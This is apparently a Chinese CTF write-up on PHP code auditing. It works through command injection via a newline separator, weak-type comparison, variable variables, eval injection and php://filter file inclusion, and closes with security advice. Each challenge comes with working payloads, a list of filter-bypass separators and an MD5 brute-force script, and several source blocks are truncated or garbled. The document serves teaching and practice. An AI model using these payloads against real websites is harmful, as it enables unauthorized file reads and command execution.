PHP代码审计与CTF挑战解析
一、命令注入漏洞
案例1:Challenge 9
<?php
if(isset($_REQUEST['ip'])) {
$target = trim($_REQUEST['ip']);
$substitutions = array(
'&' => '',
';' => '',
'|' => '',
'-' => '',
'$' => '',
'(' => '',
')' => '',
'`' => '',
'||' => '',
);
$target = str_replace(array_keys($substitutions), $substitutions, $target);
$cmd = shell_exec('ping -c 4 ' . $target);
echo $target;
echo "<pre>{$cmd}</pre>";
}
show_source(__FILE__);
?>
漏洞分析:
- 使用
shell_exec()执行系统命令 - 虽然过滤了常见命令分隔符,但未过滤换行符
%0a trim()函数仅移除字符串两侧的空白字符
绕过方法:
- 使用换行符
%0a分隔命令 - Payload:
?ip=127.0.0.1%0als查看目录 - Payload:
?ip=127.0.0.1%0acat flag.php读取文件
常见命令分隔符绕过:
%0a- 换行符%0d- 回车符<符号%09- 制表符$IFS$9- 空格替代${IFS}- 空格替代,号<>号
二、PHP弱类型比较
案例2:Challenge 10
<?php
require __DIR__.'/flag.php';
if (isset($_POST['answer'])) {
$number = $_POST['answer'];
if (noother_says_correct($number)) {
echo $flag;
} else {
echo "Sorry";
}
}
function noother_says_correct($number) {
$one = ord('1');
$nine = ord('9');
for ($i = 0; $i < strlen($number); $i++) {
$digit = ord($number{$i});
if (($digit >= $one) && ($digit <= $nine)) {
return false;
}
}
return $number == "3735929054";
}
highlight_file(__FILE__);
?>
漏洞分析:
- 函数检查输入不能包含数字1-9
- 但要求输入值等于"3735929054"
- 3735929054的十六进制是0xdeadc0de
利用方法:
- 使用十六进制表示法绕过数字检查
- Payload:
answer=0xdeadc0de
关键函数:
ord(): 返回字符串首个字符的ASCII值
三、变量变量与全局变量
案例3:Challenge 11
<?php
include "flag.php";
$a = @$_REQUEST['hello'];
if(!preg_match('/^\w*$/',$a)) {
die('ERROR');
}
eval("var_dump(
$$
a);");
show_source(__FILE__);
?>
漏洞分析:
- 使用
preg_match('/^\w*$/',$a)限制输入为字母数字 eval()执行`var_dump(
\[a)`,即变量变量 3. 可利用`$GLOBALS`超全局变量获取所有变量 **利用方法**: - Payload: `?hello=GLOBALS` **$GLOBALS详解**: - 引用全局作用域中所有可用变量 - 与`global`关键字的区别: - `$GLOBALS['var']`是外部变量本身 - `global $var`是外部变量的引用 ## 四、代码注入与闭合 ### 案例4:Challenge 12 ```php ``` **漏洞分析**: 1. 直接执行`eval("var_dump($a);")` 2. 可通过闭合原函数并添加新语句 **利用方法**: - Payload: `?hello=);var_dump(file("flag.php"));//` - 构造出完整代码:`var_dump();var_dump(file("flag.php"));` ## 五、会话安全与MD5碰撞 ### 案例5:Challenge 13 ```php =10) { echo $flag; } show_source(__FILE__); ?> ``` **漏洞分析**: 1. 需要满足两个条件: - 前两个字符匹配随机生成的`whoami` - `substr(md5($value),5,4)==0`(弱类型比较) 2. 需要在120秒内完成10次请求 **利用方法**: 1. 第一次使用`ea`作为前两个字符 2. 后续使用服务器返回的随机值 3. 构造MD5值满足条件(可使用暴力破解) **Python自动化脚本**: ```python import requests import hashlib import random def get_value(given): for i in range(1000000): result = given result += random.choice('abcdefghijklmnopqrstuvwxyz') result += random.choice('abcdefghijklmnopqrstuvwxyz') result += random.choice('abcdefghijklmnopqrstuvwxyz') result += random.choice('abcdefghijklmnopqrstuvwxyz') m = hashlib.md5(result.encode()).hexdigest() if m[5:9] == "0000": return result def main(url): session = requests.Session() result = "ea" for i in range(10): resp = session.get(url+result) the_page = resp.text result = get_value(the_page[0:2]) ``` ## 六、文件包含漏洞 ### 案例6:Challenge 14 ```php ``` **漏洞分析**: 1. 直接包含用户控制的`path`参数 2. 可利用PHP伪协议读取文件 **利用方法**: - Payload: `?path=php://filter/convert.base64-encode/resource=flag.php` **PHP伪协议总结**: | 协议 | 格式 | 所需配置 | 说明 | |------|------|----------|------| | file:// | file://路径 | allow_url_fopen=Off | 访问本地文件系统 | | php://input | php://input | allow_url_include=On | 访问原始POST数据 | | php://filter | php://filter/convert.base64-encode/resource=文件 | 无特殊要求 | 读取文件内容 | | zip:// | zip://[压缩文件路径]#[压缩文件内子文件名] | allow_url_fopen=Off | 访问压缩包内文件 | | data:// | data://text/plain;base64,编码数据 | allow_url_include=On | 数据流 | ## 七、关键函数解析 ### 1. preg_match() ```php int preg_match(string $pattern, string $subject [, array &$matches]) ``` - 执行正则表达式匹配 - 返回0或1(匹配次数) - 常用模式修饰符:`i`(不区分大小写) ### 2. mt_rand()安全问题 - 伪随机数生成器,基于种子 - 如果知道种子,可以预测随机数序列 - 安全应用场景应避免使用 ### 3. 文件包含相关函数 - `include` / `require` - `include_once` / `require_once` - `highlight_file` / `show_source` - `readfile` - `file_get_contents` - `fopen` / `file` ## 八、安全建议 1. 命令执行: - 避免使用`shell_exec()`等函数 - 使用白名单过滤输入 - 使用`escapeshellarg()`转义参数 2. 文件包含: - 禁用`allow_url_include` - 固定包含文件路径 - 使用白名单限制包含文件 3. 会话安全: - 使用强随机数生成器 - 设置合理的会话过期时间 - 重要操作增加二次验证 4. 类型比较: - 使用`===`严格比较 - 避免依赖弱类型特性 5. 变量处理: - 避免使用变量变量 - 明确变量作用域 - 使用`isset()`检查变量存在性\]